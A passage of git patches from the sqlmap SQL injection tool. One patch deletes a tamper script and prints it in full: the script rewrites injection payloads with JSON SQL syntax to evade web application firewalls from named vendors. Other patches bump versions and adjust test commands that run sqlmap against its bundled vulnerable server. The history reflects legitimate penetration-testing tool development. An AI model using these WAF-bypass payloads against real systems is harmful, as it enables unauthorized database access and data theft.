-            retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
-
-        else:
-            extract_value_match = re.search(pattern_extract_value, payload)
-
-            if extract_value_match:  # Replaces extractvalue because many WAFs target it
-                wafPayload = generate_random_payload()
-                retVal = f"{extract_value_match.group('pre')} {extract_value_match.group('relation')} {wafPayload} {extract_value_match.group('relation')} {extract_value_match.group('extractValueRest')}"
-
-            else:
-                condition_match = re.match(pattern_when_where, payload)
-
-                if condition_match:  # Replaces when/where payloads with regular payloads because many WAFs target this keywords
-                    wafPayload = generate_random_payload()
-                    retVal = f"{condition_match.group('pre')} {condition_match.group('condition')} {wafPayload} and {condition_match.group('rest')}"
-
-        case_match = re.search(pattern_replace_case, retVal)
-
-        if case_match:  # Replaces case statements because many WAFs target this syntax
-
-            # Check if the case statement expects the left or right option
-            if case_match.group("leftComp") == case_match.group("rightComp"):
-                retVal = retVal.replace(case_match.group('all'), case_match.group('firstCase'))
-
-            else:
-                retVal = retVal.replace(case_match.group('all'), case_match.group('secondCase'))
-
-    return retVal
-
diff --git a/tamper/json_waf_bypass_sqlite.py b/tamper/json_waf_bypass_sqlite.py
deleted file mode 100644
index ce0c4507e57..00000000000
--- a/tamper/json_waf_bypass_sqlite.py
+++ /dev/null
@@ -1,178 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
-pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
-import re, random, string
-
-from lib.core.enums import PRIORITY
-
-__priority__ = PRIORITY.HIGHEST
-DEBUG = False
-
-
-def dependencies():
-	pass
-
-
-# Possible int payloads:
-# 1) JSON_LENGTH()
-# 2) json_depth
-# 3) JSON_EXTRACT()
-# 3) JSON_EXTRACT operator
-
-def generate_int_payload():
-	INT_FUNCTIONS = [generate_length_payload, generate_int_extract_payload, generate_int_extract_operator_payload]
-	return (random.choice(INT_FUNCTIONS))()
-
-
-# Possible STR payloads:
-# 2) JSON_EXTRACT
-# 2) JSON_EXTRACT Operator
-# 3) JSON_QUOTE('null')
-
-def generate_str_payload():
-	STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload, generate_str_extract_operator_payload]
-	return (random.choice(STR_FUNCTIONS))()
-
-
-def generate_random_string(length=15):
-	str_length = random.randint(1, length)
-	return "".join(random.choice(string.ascii_letters) for i in range(str_length))
-
-
-def generate_random_int():
-	return random.randint(2, 10000)
-
-
-def generate_length_payload():
-	rand_int = generate_random_int()
-	return f"JSON_ARRAY_LENGTH(\"[]\") <= {generate_random_int()}"
-
-
-def generate_quote_payload():
-	var = generate_random_string()
-	return f"JSON_QUOTE('{var}') = '\"{var}\"'"
-
-
-def generate_int_extract_payload():
-	return generate_extract_payload(isString=False)
-
-
-def generate_str_extract_payload():
-	return generate_extract_payload(isString=True)
-
-
-def generate_int_extract_operator_payload():
-	return generate_extract_operator_payload(isString=False)
-
-
-def generate_str_extract_operator_payload():
-	return generate_extract_operator_payload(isString=True)
-
-
-def generate_extract_payload(isString=False):
-	key = generate_random_string()
-	if isString:
-		value = generate_random_string()
-		return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
-	value = generate_random_int()
-	return f'JSON_EXTRACT("{{""{key}"": {value}}}", "$.{key}") = {value}'
-
-
-def generate_extract_operator_payload(isString=False):
-
-	key = generate_random_string()
-	if isString:
-		value = generate_random_string()
-		return f'\'{{"{key}": "{value}"}}\'->> \'$.{key}\' = \'{value}\''
-	value = generate_random_int()
-	return f'"{{""{key}"": {value}}}" ->> "$.{key}" = {value}'
-
-
-def generate_payload(isString, isBrackets):
-	payload = '(' if isBrackets else ""
-	if isString:
-		payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
-	else:
-		payload += generate_int_payload()
-
-	return payload
-
-
-def generate_random_payload():
-	if random.randint(0, 1):
-		return generate_str_payload()
-	return generate_int_payload()
-
-
-def tamper(payload, **kwargs):
-	"""
-        
-    Bypasses generic WAFs using JSON SQL Syntax. 
-
-    For more details about JSON in SQLite - https://www.sqlite.org/json1.html
-
-    Tested against:
-        * SQLite v3.39.4 - however every version after v3.38.0 should work
-
-    Usage:
-        python3 sqlmap.py  --tamper json_waf_bypass_sqlite.py
-
-    Notes:
-
-    	* References: 
-            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
-            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
-        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
-        * JSON techniques were tested againts the following WAF vendors:
-            * Amazon AWS ELB
-            * CloudFlare
-            * F5 BIG-IP
-            * Palo-Alto Next Generation Firewall
-            * Imperva Firewall
-
-        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
-          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
-
-        Possible int payloads:
-			1) JSON_LENGTH()
-			2) json_depth
-			3) JSON_EXTRACT()
-			3) JSON_EXTRACT operator
-
-        Possible STR payloads:
-			2) JSON_EXTRACT
-			2) JSON_EXTRACT Operator
-			3) JSON_QUOTE('null')
-
-    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
-    ''' ' and 5626=9709  and JSON_QUOTE('UG') = '"UG" '''
-    >>> tamper('and 4515=8950')
-    '''  and JSON_ARRAY_LENGTH("[]") <= 9100 '''
-    """
-	retVal = payload
-
-	if payload:
-		match = re.search(pattern, payload)
-
-		if match:
-			pre = match.group('pre')
-
-			# Is our payload is a string.
-			isString = pre.startswith("'")
-			isBrackets = pre.startswith("')") or pre.startswith(")")
-			wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
-			retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
-
-		else:
-
-			if payload.lower().startswith("' union"):
-				wafPayload = generate_random_payload()
-				retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
-
-	return retVal

From 6e3eaca54751e50bbd11572f1059c811cc0d5f23 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Fri, 23 Dec 2022 16:24:41 +0100
Subject: [PATCH 096/599] Minor update of testing stuff

---
 .github/workflows/tests.yml | 2 +-
 lib/core/settings.py        | 2 +-
 lib/core/testing.py         | 6 +++---
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml
index acb3cacae7b..674ae2a004e 100644
--- a/.github/workflows/tests.yml
+++ b/.github/workflows/tests.yml
@@ -10,7 +10,7 @@ jobs:
     strategy:
       matrix:
         os: [ubuntu-latest, macos-latest, windows-latest]
-        python-version: [ '2.x', '3.10', 'pypy-2.7', 'pypy-3.7' ]
+        python-version: [ '2.x', '3.11', 'pypy-2.7', 'pypy-3.7' ]
     steps:
       - uses: actions/checkout@v2
       - name: Set up Python
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 7e034673f3a..7a033e8a738 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.6.12.9"
+VERSION = "1.6.12.10"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/core/testing.py b/lib/core/testing.py
index 0514b71e3f4..96b93ee534a 100644
--- a/lib/core/testing.py
+++ b/lib/core/testing.py
@@ -58,9 +58,9 @@ def vulnTest():
         ("-u  --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)),
         ("-u  --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
         ("-u  --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
-        ("-u  --flush-session --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
+        ("-u  --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")),
         ("-u  --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload:  --flush-session --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
+        ("-u  --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")),
         ("-u  --flush-session -H \"id: 1*\" --tables -t ", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
         ("-u  --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")),
         ("-u  --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
@@ -69,7 +69,7 @@ def vulnTest():
         ("-u  --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
         ("-u  --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
         ("-u  --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
-        ("-u  --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
+        ("-u  --flush-session --technique=BU --all", ("5 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
         ("-u  -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
         ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)),
         ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),

From 216565fb05166d4bcf80b35a4f8f381e9f6b3d08 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Wed, 28 Dec 2022 16:35:26 +0100
Subject: [PATCH 097/599] Fixes #5275

---
 lib/core/settings.py | 2 +-
 lib/request/basic.py | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/core/settings.py b/lib/core/settings.py
index 7a033e8a738..ad6ed8453b4 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.6.12.10"
+VERSION = "1.6.12.11"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/request/basic.py b/lib/request/basic.py
index 37ae92d0c46..d865575e136 100644
--- a/lib/request/basic.py
+++ b/lib/request/basic.py
@@ -108,7 +108,7 @@ def title(self):
     if conf.cj:
         if HTTP_HEADER.COOKIE in headers:
             for cookie in conf.cj:
-                if cookie.domain_specified and not (conf.hostname or "").endswith(cookie.domain):
+                if cookie is None or cookie.domain_specified and not (conf.hostname or "").endswith(cookie.domain):
                     continue
 
                 if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]):

From 05293e01a4012d9ba09ec66343aa0c14f7a492f7 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Mon, 2 Jan 2023 23:24:59 +0100
Subject: [PATCH 098/599] Year and version bump

---
 LICENSE                                 | 2 +-
 data/txt/common-columns.txt             | 2 +-
 data/txt/common-files.txt               | 2 +-
 data/txt/common-outputs.txt             | 2 +-
 data/txt/common-tables.txt              | 2 +-
 data/txt/keywords.txt                   | 2 +-
 data/txt/user-agents.txt                | 2 +-
 extra/__init__.py                       | 2 +-
 extra/beep/__init__.py                  | 2 +-
 extra/beep/beep.py                      | 2 +-
 extra/cloak/__init__.py                 | 2 +-
 extra/cloak/cloak.py                    | 2 +-
 extra/dbgtool/__init__.py               | 2 +-
 extra/dbgtool/dbgtool.py                | 2 +-
 extra/shutils/blanks.sh                 | 2 +-
 extra/shutils/drei.sh                   | 2 +-
 extra/shutils/duplicates.py             | 2 +-
 extra/shutils/junk.sh                   | 2 +-
 extra/shutils/modernize.sh              | 2 +-
 extra/shutils/pycodestyle.sh            | 2 +-
 extra/shutils/pydiatra.sh               | 2 +-
 extra/shutils/pyflakes.sh               | 2 +-
 extra/shutils/pylint.sh                 | 2 +-
 extra/shutils/pypi.sh                   | 4 ++--
 extra/vulnserver/__init__.py            | 2 +-
 extra/vulnserver/vulnserver.py          | 2 +-
 lib/__init__.py                         | 2 +-
 lib/controller/__init__.py              | 2 +-
 lib/controller/action.py                | 2 +-
 lib/controller/checks.py                | 2 +-
 lib/controller/controller.py            | 2 +-
 lib/controller/handler.py               | 2 +-
 lib/core/__init__.py                    | 2 +-
 lib/core/agent.py                       | 2 +-
 lib/core/bigarray.py                    | 2 +-
 lib/core/common.py                      | 2 +-
 lib/core/compat.py                      | 2 +-
 lib/core/convert.py                     | 2 +-
 lib/core/data.py                        | 2 +-
 lib/core/datatype.py                    | 2 +-
 lib/core/decorators.py                  | 2 +-
 lib/core/defaults.py                    | 2 +-
 lib/core/dicts.py                       | 2 +-
 lib/core/dump.py                        | 2 +-
 lib/core/enums.py                       | 2 +-
 lib/core/exception.py                   | 2 +-
 lib/core/gui.py                         | 4 ++--
 lib/core/log.py                         | 2 +-
 lib/core/option.py                      | 2 +-
 lib/core/optiondict.py                  | 2 +-
 lib/core/patch.py                       | 2 +-
 lib/core/profiling.py                   | 2 +-
 lib/core/readlineng.py                  | 2 +-
 lib/core/replication.py                 | 2 +-
 lib/core/revision.py                    | 2 +-
 lib/core/session.py                     | 2 +-
 lib/core/settings.py                    | 4 ++--
 lib/core/shell.py                       | 2 +-
 lib/core/subprocessng.py                | 2 +-
 lib/core/target.py                      | 2 +-
 lib/core/testing.py                     | 2 +-
 lib/core/threads.py                     | 2 +-
 lib/core/unescaper.py                   | 2 +-
 lib/core/update.py                      | 2 +-
 lib/core/wordlist.py                    | 2 +-
 lib/parse/__init__.py                   | 2 +-
 lib/parse/banner.py                     | 2 +-
 lib/parse/cmdline.py                    | 2 +-
 lib/parse/configfile.py                 | 2 +-
 lib/parse/handler.py                    | 2 +-
 lib/parse/headers.py                    | 2 +-
 lib/parse/html.py                       | 2 +-
 lib/parse/payloads.py                   | 2 +-
 lib/parse/sitemap.py                    | 2 +-
 lib/request/__init__.py                 | 2 +-
 lib/request/basic.py                    | 2 +-
 lib/request/basicauthhandler.py         | 2 +-
 lib/request/chunkedhandler.py           | 2 +-
 lib/request/comparison.py               | 2 +-
 lib/request/connect.py                  | 2 +-
 lib/request/direct.py                   | 2 +-
 lib/request/dns.py                      | 2 +-
 lib/request/httpshandler.py             | 2 +-
 lib/request/inject.py                   | 2 +-
 lib/request/methodrequest.py            | 2 +-
 lib/request/pkihandler.py               | 2 +-
 lib/request/rangehandler.py             | 2 +-
 lib/request/redirecthandler.py          | 2 +-
 lib/request/templates.py                | 2 +-
 lib/takeover/__init__.py                | 2 +-
 lib/takeover/abstraction.py             | 2 +-
 lib/takeover/icmpsh.py                  | 2 +-
 lib/takeover/metasploit.py              | 2 +-
 lib/takeover/registry.py                | 2 +-
 lib/takeover/udf.py                     | 2 +-
 lib/takeover/web.py                     | 2 +-
 lib/takeover/xp_cmdshell.py             | 2 +-
 lib/techniques/__init__.py              | 2 +-
 lib/techniques/blind/__init__.py        | 2 +-
 lib/techniques/blind/inference.py       | 2 +-
 lib/techniques/dns/__init__.py          | 2 +-
 lib/techniques/dns/test.py              | 2 +-
 lib/techniques/dns/use.py               | 2 +-
 lib/techniques/error/__init__.py        | 2 +-
 lib/techniques/error/use.py             | 2 +-
 lib/techniques/union/__init__.py        | 2 +-
 lib/techniques/union/test.py            | 2 +-
 lib/techniques/union/use.py             | 2 +-
 lib/utils/__init__.py                   | 2 +-
 lib/utils/api.py                        | 2 +-
 lib/utils/brute.py                      | 2 +-
 lib/utils/crawler.py                    | 2 +-
 lib/utils/deps.py                       | 2 +-
 lib/utils/getch.py                      | 2 +-
 lib/utils/har.py                        | 2 +-
 lib/utils/hash.py                       | 2 +-
 lib/utils/hashdb.py                     | 2 +-
 lib/utils/httpd.py                      | 2 +-
 lib/utils/pivotdumptable.py             | 2 +-
 lib/utils/progress.py                   | 2 +-
 lib/utils/purge.py                      | 2 +-
 lib/utils/safe2bin.py                   | 2 +-
 lib/utils/search.py                     | 2 +-
 lib/utils/sqlalchemy.py                 | 2 +-
 lib/utils/timeout.py                    | 2 +-
 lib/utils/versioncheck.py               | 2 +-
 lib/utils/xrange.py                     | 2 +-
 plugins/__init__.py                     | 2 +-
 plugins/dbms/__init__.py                | 2 +-
 plugins/dbms/access/__init__.py         | 2 +-
 plugins/dbms/access/connector.py        | 2 +-
 plugins/dbms/access/enumeration.py      | 2 +-
 plugins/dbms/access/filesystem.py       | 2 +-
 plugins/dbms/access/fingerprint.py      | 2 +-
 plugins/dbms/access/syntax.py           | 2 +-
 plugins/dbms/access/takeover.py         | 2 +-
 plugins/dbms/altibase/__init__.py       | 2 +-
 plugins/dbms/altibase/connector.py      | 2 +-
 plugins/dbms/altibase/enumeration.py    | 2 +-
 plugins/dbms/altibase/filesystem.py     | 2 +-
 plugins/dbms/altibase/fingerprint.py    | 2 +-
 plugins/dbms/altibase/syntax.py         | 2 +-
 plugins/dbms/altibase/takeover.py       | 2 +-
 plugins/dbms/cache/__init__.py          | 2 +-
 plugins/dbms/cache/connector.py         | 2 +-
 plugins/dbms/cache/enumeration.py       | 2 +-
 plugins/dbms/cache/filesystem.py        | 2 +-
 plugins/dbms/cache/fingerprint.py       | 2 +-
 plugins/dbms/cache/syntax.py            | 2 +-
 plugins/dbms/cache/takeover.py          | 2 +-
 plugins/dbms/cratedb/__init__.py        | 2 +-
 plugins/dbms/cratedb/connector.py       | 2 +-
 plugins/dbms/cratedb/enumeration.py     | 2 +-
 plugins/dbms/cratedb/filesystem.py      | 2 +-
 plugins/dbms/cratedb/fingerprint.py     | 2 +-
 plugins/dbms/cratedb/syntax.py          | 2 +-
 plugins/dbms/cratedb/takeover.py        | 2 +-
 plugins/dbms/cubrid/__init__.py         | 2 +-
 plugins/dbms/cubrid/connector.py        | 2 +-
 plugins/dbms/cubrid/enumeration.py      | 2 +-
 plugins/dbms/cubrid/filesystem.py       | 2 +-
 plugins/dbms/cubrid/fingerprint.py      | 2 +-
 plugins/dbms/cubrid/syntax.py           | 2 +-
 plugins/dbms/cubrid/takeover.py         | 2 +-
 plugins/dbms/db2/__init__.py            | 2 +-
 plugins/dbms/db2/connector.py           | 2 +-
 plugins/dbms/db2/enumeration.py         | 2 +-
 plugins/dbms/db2/filesystem.py          | 2 +-
 plugins/dbms/db2/fingerprint.py         | 2 +-
 plugins/dbms/db2/syntax.py              | 2 +-
 plugins/dbms/db2/takeover.py            | 2 +-
 plugins/dbms/derby/__init__.py          | 2 +-
 plugins/dbms/derby/connector.py         | 2 +-
 plugins/dbms/derby/enumeration.py       | 2 +-
 plugins/dbms/derby/filesystem.py        | 2 +-
 plugins/dbms/derby/fingerprint.py       | 2 +-
 plugins/dbms/derby/syntax.py            | 2 +-
 plugins/dbms/derby/takeover.py          | 2 +-
 plugins/dbms/extremedb/__init__.py      | 2 +-
 plugins/dbms/extremedb/connector.py     | 2 +-
 plugins/dbms/extremedb/enumeration.py   | 2 +-
 plugins/dbms/extremedb/filesystem.py    | 2 +-
 plugins/dbms/extremedb/fingerprint.py   | 2 +-
 plugins/dbms/extremedb/syntax.py        | 2 +-
 plugins/dbms/extremedb/takeover.py      | 2 +-
 plugins/dbms/firebird/__init__.py       | 2 +-
 plugins/dbms/firebird/connector.py      | 2 +-
 plugins/dbms/firebird/enumeration.py    | 2 +-
 plugins/dbms/firebird/filesystem.py     | 2 +-
 plugins/dbms/firebird/fingerprint.py    | 2 +-
 plugins/dbms/firebird/syntax.py         | 2 +-
 plugins/dbms/firebird/takeover.py       | 2 +-
 plugins/dbms/frontbase/__init__.py      | 2 +-
 plugins/dbms/frontbase/connector.py     | 2 +-
 plugins/dbms/frontbase/enumeration.py   | 2 +-
 plugins/dbms/frontbase/filesystem.py    | 2 +-
 plugins/dbms/frontbase/fingerprint.py   | 2 +-
 plugins/dbms/frontbase/syntax.py        | 2 +-
 plugins/dbms/frontbase/takeover.py      | 2 +-
 plugins/dbms/h2/__init__.py             | 2 +-
 plugins/dbms/h2/connector.py            | 2 +-
 plugins/dbms/h2/enumeration.py          | 2 +-
 plugins/dbms/h2/filesystem.py           | 2 +-
 plugins/dbms/h2/fingerprint.py          | 2 +-
 plugins/dbms/h2/syntax.py               | 2 +-
 plugins/dbms/h2/takeover.py             | 2 +-
 plugins/dbms/hsqldb/__init__.py         | 2 +-
 plugins/dbms/hsqldb/connector.py        | 2 +-
 plugins/dbms/hsqldb/enumeration.py      | 2 +-
 plugins/dbms/hsqldb/filesystem.py       | 2 +-
 plugins/dbms/hsqldb/fingerprint.py      | 2 +-
 plugins/dbms/hsqldb/syntax.py           | 2 +-
 plugins/dbms/hsqldb/takeover.py         | 2 +-
 plugins/dbms/informix/__init__.py       | 2 +-
 plugins/dbms/informix/connector.py      | 2 +-
 plugins/dbms/informix/enumeration.py    | 2 +-
 plugins/dbms/informix/filesystem.py     | 2 +-
 plugins/dbms/informix/fingerprint.py    | 2 +-
 plugins/dbms/informix/syntax.py         | 2 +-
 plugins/dbms/informix/takeover.py       | 2 +-
 plugins/dbms/maxdb/__init__.py          | 2 +-
 plugins/dbms/maxdb/connector.py         | 2 +-
 plugins/dbms/maxdb/enumeration.py       | 2 +-
 plugins/dbms/maxdb/filesystem.py        | 2 +-
 plugins/dbms/maxdb/fingerprint.py       | 2 +-
 plugins/dbms/maxdb/syntax.py            | 2 +-
 plugins/dbms/maxdb/takeover.py          | 2 +-
 plugins/dbms/mckoi/__init__.py          | 2 +-
 plugins/dbms/mckoi/connector.py         | 2 +-
 plugins/dbms/mckoi/enumeration.py       | 2 +-
 plugins/dbms/mckoi/filesystem.py        | 2 +-
 plugins/dbms/mckoi/fingerprint.py       | 2 +-
 plugins/dbms/mckoi/syntax.py            | 2 +-
 plugins/dbms/mckoi/takeover.py          | 2 +-
 plugins/dbms/mimersql/__init__.py       | 2 +-
 plugins/dbms/mimersql/connector.py      | 2 +-
 plugins/dbms/mimersql/enumeration.py    | 2 +-
 plugins/dbms/mimersql/filesystem.py     | 2 +-
 plugins/dbms/mimersql/fingerprint.py    | 2 +-
 plugins/dbms/mimersql/syntax.py         | 2 +-
 plugins/dbms/mimersql/takeover.py       | 2 +-
 plugins/dbms/monetdb/__init__.py        | 2 +-
 plugins/dbms/monetdb/connector.py       | 2 +-
 plugins/dbms/monetdb/enumeration.py     | 2 +-
 plugins/dbms/monetdb/filesystem.py      | 2 +-
 plugins/dbms/monetdb/fingerprint.py     | 2 +-
 plugins/dbms/monetdb/syntax.py          | 2 +-
 plugins/dbms/monetdb/takeover.py        | 2 +-
 plugins/dbms/mssqlserver/__init__.py    | 2 +-
 plugins/dbms/mssqlserver/connector.py   | 2 +-
 plugins/dbms/mssqlserver/enumeration.py | 2 +-
 plugins/dbms/mssqlserver/filesystem.py  | 2 +-
 plugins/dbms/mssqlserver/fingerprint.py | 2 +-
 plugins/dbms/mssqlserver/syntax.py      | 2 +-
 plugins/dbms/mssqlserver/takeover.py    | 2 +-
 plugins/dbms/mysql/__init__.py          | 2 +-
 plugins/dbms/mysql/connector.py         | 2 +-
 plugins/dbms/mysql/enumeration.py       | 2 +-
 plugins/dbms/mysql/filesystem.py        | 2 +-
 plugins/dbms/mysql/fingerprint.py       | 2 +-
 plugins/dbms/mysql/syntax.py            | 2 +-
 plugins/dbms/mysql/takeover.py          | 2 +-
 plugins/dbms/oracle/__init__.py         | 2 +-
 plugins/dbms/oracle/connector.py        | 2 +-
 plugins/dbms/oracle/enumeration.py      | 2 +-
 plugins/dbms/oracle/filesystem.py       | 2 +-
 plugins/dbms/oracle/fingerprint.py      | 2 +-
 plugins/dbms/oracle/syntax.py           | 2 +-
 plugins/dbms/oracle/takeover.py         | 2 +-
 plugins/dbms/postgresql/__init__.py     | 2 +-
 plugins/dbms/postgresql/connector.py    | 2 +-
 plugins/dbms/postgresql/enumeration.py  | 2 +-
 plugins/dbms/postgresql/filesystem.py   | 2 +-
 plugins/dbms/postgresql/fingerprint.py  | 2 +-
 plugins/dbms/postgresql/syntax.py       | 2 +-
 plugins/dbms/postgresql/takeover.py     | 2 +-
 plugins/dbms/presto/__init__.py         | 2 +-
 plugins/dbms/presto/connector.py        | 2 +-
 plugins/dbms/presto/enumeration.py      | 2 +-
 plugins/dbms/presto/filesystem.py       | 2 +-
 plugins/dbms/presto/fingerprint.py      | 2 +-
 plugins/dbms/presto/syntax.py           | 2 +-
 plugins/dbms/presto/takeover.py         | 2 +-
 plugins/dbms/raima/__init__.py          | 2 +-
 plugins/dbms/raima/connector.py         | 2 +-
 plugins/dbms/raima/enumeration.py       | 2 +-
 plugins/dbms/raima/filesystem.py        | 2 +-
 plugins/dbms/raima/fingerprint.py       | 2 +-
 plugins/dbms/raima/syntax.py            | 2 +-
 plugins/dbms/raima/takeover.py          | 2 +-
 plugins/dbms/sqlite/__init__.py         | 2 +-
 plugins/dbms/sqlite/connector.py        | 2 +-
 plugins/dbms/sqlite/enumeration.py      | 2 +-
 plugins/dbms/sqlite/filesystem.py       | 2 +-
 plugins/dbms/sqlite/fingerprint.py      | 2 +-
 plugins/dbms/sqlite/syntax.py           | 2 +-
 plugins/dbms/sqlite/takeover.py         | 2 +-
 plugins/dbms/sybase/__init__.py         | 2 +-
 plugins/dbms/sybase/connector.py        | 2 +-
 plugins/dbms/sybase/enumeration.py      | 2 +-
 plugins/dbms/sybase/filesystem.py       | 2 +-
 plugins/dbms/sybase/fingerprint.py      | 2 +-
 plugins/dbms/sybase/syntax.py           | 2 +-
 plugins/dbms/sybase/takeover.py         | 2 +-
 plugins/dbms/vertica/__init__.py        | 2 +-
 plugins/dbms/vertica/connector.py       | 2 +-
 plugins/dbms/vertica/enumeration.py     | 2 +-
 plugins/dbms/vertica/filesystem.py      | 2 +-
 plugins/dbms/vertica/fingerprint.py     | 2 +-
 plugins/dbms/vertica/syntax.py          | 2 +-
 plugins/dbms/vertica/takeover.py        | 2 +-
 plugins/dbms/virtuoso/__init__.py       | 2 +-
 plugins/dbms/virtuoso/connector.py      | 2 +-
 plugins/dbms/virtuoso/enumeration.py    | 2 +-
 plugins/dbms/virtuoso/filesystem.py     | 2 +-
 plugins/dbms/virtuoso/fingerprint.py    | 2 +-
 plugins/dbms/virtuoso/syntax.py         | 2 +-
 plugins/dbms/virtuoso/takeover.py       | 2 +-
 plugins/generic/__init__.py             | 2 +-
 plugins/generic/connector.py            | 2 +-
 plugins/generic/custom.py               | 2 +-
 plugins/generic/databases.py            | 2 +-
 plugins/generic/entries.py              | 2 +-
 plugins/generic/enumeration.py          | 2 +-
 plugins/generic/filesystem.py           | 2 +-
 plugins/generic/fingerprint.py          | 2 +-
 plugins/generic/misc.py                 | 2 +-
 plugins/generic/search.py               | 2 +-
 plugins/generic/syntax.py               | 2 +-
 plugins/generic/takeover.py             | 2 +-
 plugins/generic/users.py                | 2 +-
 sqlmap.py                               | 2 +-
 sqlmapapi.py                            | 2 +-
 tamper/0eunion.py                       | 2 +-
 tamper/__init__.py                      | 2 +-
 tamper/apostrophemask.py                | 2 +-
 tamper/apostrophenullencode.py          | 2 +-
 tamper/appendnullbyte.py                | 2 +-
 tamper/base64encode.py                  | 2 +-
 tamper/between.py                       | 2 +-
 tamper/binary.py                        | 2 +-
 tamper/bluecoat.py                      | 2 +-
 tamper/chardoubleencode.py              | 2 +-
 tamper/charencode.py                    | 2 +-
 tamper/charunicodeencode.py             | 2 +-
 tamper/charunicodeescape.py             | 2 +-
 tamper/commalesslimit.py                | 2 +-
